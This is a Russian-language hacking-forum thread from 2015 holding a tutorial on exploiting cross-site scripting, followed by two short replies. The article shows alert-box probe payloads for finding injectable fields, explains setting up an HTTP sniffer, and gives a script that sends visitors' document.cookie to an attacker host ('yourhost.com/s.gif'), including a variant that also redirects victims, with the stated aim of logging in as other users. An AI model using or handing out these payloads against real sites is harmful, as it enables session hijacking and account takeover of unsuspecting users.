Ваш ключ: необходима авторизация | MyProxy - бесплатный обменник валидных прокси между пользователями форума.

[Статья] XSS - Cross Ste Scripting

Тема в разделе Скрипты, шеллы, создана пользователем Adeptt, 9 апр 2015.

Войдите для ответа
  1. Adeptt Новорег

    Adeptt
    Статус:
    Вне сети
    Сообщения:
    21
    Симпатии:
    9
    Регистрация:
    02.05.15
    Предисловие: Ничего стойкого по данной уязвимости не нашёл , по-этому пишу свою статью , ух держите меня семеро
     

    Для начала постараемся узнать , что же такое XSS . - Cross Ste Scripting (CSS уже занято Cascade Style Sheets). Уязвимость, возникающая вследствии недостаточной фильтрации вводимых пользователями и в дальнейшем отображаемых на страницах сайта данных. Позволяет разместить непосредственно на страницах сайта произвольный html-код (соответственно, код будет выполняться у всех пользователей, зашедших на страницу).

    Давайте подумаем, что значат для нас такие возможности. Что же можно сделать интересного при помощи HTML ? - Ну во первых , можно вывести надпись огромных размеров на главную страницу , или-же поставить редирект на другой сайт.

     

    Редирект делается таким образом:.


    <META HTTP-EQUIV='Refresh' content ='0; URL=http://КУДА_ПЕРЕНАПРАВИТЬ'>
    Конечно-же , можно ещё залить эксплойт или выполнить какой-то javascript. Выполнение нашего js в первую очередь , даёт возможность позаимствовать аутентификационные данные пользователя - cookies (они же куки, кукисы и печеньки). Это временные файлы, которые сохраняются в браузере пользователя после авторизации. В некоторых случаях можно подставить заимствованные куки вместо своих и таким образом авторизоваться на сайте от чужого лица. Но пока не это для нас главное.

    Поиск уязвимости.

    Для того, чтобы обнаружить xss, нужно проверить на её наличие все потенциально уязвимые элементы сайта. В данном случае таковыми являются поля ввода текста, который в последующем будет отображён на страницах сайта (принтабельные поля). Это могут быть поля отправки сообщения, темы сообщения и т.п. Следует проверять на наличие уязвимости каждое такое поле. Для этого поизводим последовательно всё нижеописанное до тех пор, пока не увидим аналогичное сообщение:

    [​IMG]

    Итак, начинаем искать - подставляем во все принтабельные поля следующий код:
     


    <script>alert('')</script>
    "><script>alert('')</script>
    Ничего не нашли ? - Смотрим сурс (исходник) странички и ищем там что-то похожее на код выше (то есть ищем то, что мы туда внедрили). Нашли? Смотрите, что стало с нашим кодом. Скорее всего, были отфильтрованы спец-символы < и >. Без них код работать, ясное дело, не будет... Они убили скрипт! Сволочи! xD Фильтрация этих символов означает одно: активной xss здесь нет. Но не отчаиваемся, ещё есть вариант с пассивными xss и даже есть шанс обойти фильтрацию! Но об этом чуть позже (см. дополнения).

    Если всё же вам удалось лицезреть сообщение, значит вы нашли уязвимое поле.

     

    Использование HTTP-Сниффера.

     

    Итак, заходите на сайт, где находится ваш сниффер. Знакомимся с интерфейсом: есть дата и время зачем-то ещё наш ip. За ними кнопочка обновления лога. А ещё есть таккая штука, как картинка сниффера. Имя её в моей сборке - s.gif Вот именно через обращения к этой картинке сниффер и ловит все запросы. Откройте эту самую картинку (yourhost.com/s.gif) и обновите лог. Видите новую запись? В нашем распоряжении время совершения запроса, ip того, кто обратился к картинке, пустая строка запроса (QUERY), реферер (с какого сайта совершено обращение к картинке) и агент (т.е. браузер) пользователя. Теперь попробуйте к ссылке на картинку дописать что-нибудь после знака "?". Например, так:


    http://yourhost.com/s.gif?шо такое
    Обновляем, смотрим строку запроса (QUERY). Вывод: сниффер запишет всё, что было после ? (это и есть запрос).

    Итак, если вы нашли xss, вам нужен код, крадущий кукис. Каждый раз при открытии страницы с этим кодом, он будет отправлять на сниффер куки от этой страницы. Для обычной активной xss, рассматриваемой в этом уроке код будет таким:


    <script> img = new Image(); img.src = "http://yourhost.com/s.gif?"+document.cookie; </script>

    Можно так же сделать так, чтобы после выполнения кода происходил редирект (переадресация) на другую страницу:

    <script> img = new Image(); img.src = "http://yourhost.com/s.gif?"+document.cookie;
    location.href ="http://адрес_редиректа/" </script>
    Не забудьте заменить yourhost.com на адрес вашего сниффера во всех кодах!
     
    9 апр 2015 #1
    Последнее редактирование модератором: 9 апр 2015
  2. ERROR404 Администратор

    ERROR404
    Статус:
    Вне сети
    Хорошая статья, не хватает абзаца про обход фильтров)
     
    9 апр 2015 #2
  3. FileZila Местный

    FileZila
    Статус:
    Вне сети
    Сообщения:
    312
    Симпатии:
    28
    Регистрация:
    01.06.15
    Когда копипастиш , выделяеш текст и жмеш 

    [​IMG]
     
    9 апр 2015 #3
    Последнее редактирование модератором: 9 апр 2015
Top